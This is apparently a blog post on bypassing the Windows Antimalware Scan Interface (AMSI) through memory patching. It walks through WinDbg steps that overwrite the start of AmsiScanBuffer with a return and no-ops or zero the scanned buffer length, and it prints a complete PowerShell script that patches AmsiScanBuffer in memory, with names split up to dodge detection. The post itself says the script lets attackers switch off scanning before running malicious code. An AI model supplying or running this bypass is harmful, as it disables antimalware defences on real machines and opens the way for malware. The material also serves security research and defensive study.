Microsoft Windows Antimalware Scan Interface Bypasses

Antimalware Scan Interface, or AMSI in short, is an interface standard for Windows components like User Account Control, PowerShell, Windows Script Host, Macro’s, Javascript, and VBScript to scan for malicious content. AMSI sits in the middle of an application and an AMSI provider, like Microsoft Defender, to identify malicious content. In this blog post, I will go through the technical details on bypassing AMSI using a technique called memory patching.

How AMSI works

When running any code in PowerShell, it is passed to AMSI first before executing. AMSI will scan for any malicious content and report back to the AMSI provider with the result. If the result is “clean,” the code is executed. If the result is “detected,” the AMSI provider blocks the execution.

Here is an illustration of the AMSI architecture.

Image 1: AMSI architectural overview.

And here is an example of AMSI blocking a “malicious” string in PowerShell.

Image 2: AMSI blocking the string “amsiscanbuffer”.

As you can see, AMSI identified “amsiscanbuffer” as malicious, and Microsoft Defender, as an AMSI provider, blocked the content from running.

Debugging AMSI

I will use WinDbg in combination with PowerShell to perform the bypass and explain what is going on.

First, we start WinDbg and PowerShell. When we attach PowerShell to WinDbg, we can see amsi.dll is one of the loaded modules.

Image 3: AMSI loaded as a module.

We can use the “x” command to examine all symbols that match a specified pattern to identify all AMSI symbols.

Image 4: All AMSI symbols starting with amsi!Amsi.

Luckily, Microsoft well documents the functions in Antimalware Scan Interface, which is very helpful.

Image 5: Microsoft docs AMSI functions.

Let us set a breakpoint on “amsi!AmsiScanBuffer” first and see if we can bypass AMSI.

Image 6: Setting a breakpoint and resume PowerShell.

If we look at the Microsoft documentation, AmsiScanBuffer “Scans a buffer-full of content for malware.” AmsiScanBuffer accepts multiple parameters, including the buffer to scan and the length of the buffer. If we can change the buffer or change the length of the buffer, we can probably bypass AMSI.

Do not be overwhelmed by the assembly code. Even though this blog post is not about assembly language, I will guide you through it. We can ignore most parts of the code anyway—for example, the first line of code.

mov r11, rsp

In assembly, a stack is an abstract data structure that consists of information in a Last In First Out system. To speed up the processor operations, the processor includes some internal memory storage locations, called registers. The registers differences between architectures like 16, 32, and 64 bits. In x86 assembly 16 bit, the registers are AX, BX, CX, DX, etc. With 32 bit, the registers have an “E” prepended. The “E” stands for Extended, and they never think this through for when another architecture is released because, for 64 bit, the registers have an “R” prepended. The “MOV” command moves any value from one register to the other.

So, the first line of code moves whatever is in the RSP register to the R11 register. The RSP register is the stack pointer register, and it points to the top of the stack. All the first line of code does is to preserve the address of the pointer in another register.

All of this is to explain you do not have to look at all lines of code as not everything is relevant. From now on, I will only go through the exciting parts of the code.

AMSI Bypass

Oversimplified, we skip all of the code in AmsiScanBuffer to the end of the procedure so that no scanning occurs. Without scanning, no identification of malicious code takes place.

The instruction to return from the procedure is “ret.” The return instruction is a single byte and is “c3” in hexadecimal. The first line of code contains three bytes, “41 8b f8”. We need to replace the other two instructions since we only use a single byte for the return instruction. Luckily there is an operation to fill the gaps, called a “no operation” or “nop.” A “nop” operation does nothing and is perfect for filling the gaps.

So we replace “41 8b f8” with “ret, nop, nop” or “c3 90 90” respectively.

Image 7: Changing the code to a return and two no-operations.

If we continue PowerShell, we see AMSI is not detecting the malicious string.

Image 8: amsiscanbuffer not detected as malicious due to patch.

Here is an animation of the bypass.

Animation 1: AMSI bypass using a return.

PowerShell Script

Rasta Mouse already created a script to patch AMSI in memory, so we use this as a starting point.

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]0)
$Patch = [Byte[]] (0xc3, 0x90, 0x90)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 3)

The script uses GetProcAddress to retrieve the address of an exported function, which in this case, is asmi.dll. VirtualProtect changes the protection on a region to write so we can write to memory. The variable $patch is a byte array with our bytes to “patch.”

If we run this script in PowerShell, we can see that “amsiscanbuffer” is not marked as malicious anymore.

Image 9: Patching PowerShell to bypass AMSI.

Another AMSI Bypass

Ok, back to the AmsiScanBuffer function. Before calling the function, the values for the parameters need to be pushed on top of the stack. We know that one of the parameters is the length of the buffer.

If we step through the code, we find “mov edi, r8d”. The value of register “r8d” is “1c,” which is 28 in decimal. So the length of the buffer that is check is 28 bytes. If we change this value to 0, there is no buffer to check.

Image 10: Bypassing AMSI by setting the length of the buffer to 0.

If we resume PowerShell in WinDbg, we can see the “malicious” string “amsiscanbuffer” is not marked as malicious anymore.

Image 11: AMSI bypassed by setting the length of the buffer to 0.

Here is an animation of the bypass.

Animation 2: AMSI bypass using a 0 buffer length.

Conclusion

As you can see, AMSI is not hard to bypass. Even if Microsoft identifies common code used in a bypass as malicious, there are many ways to work around it. Even script-kiddies are not detected if they know they need to run a simple script to bypass AMSI before running malicious code. Hopefully, AMSI keeps updating the matching pattern where most bypasses are detected. It is a matter of time, though, when attackers create a new bypass.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s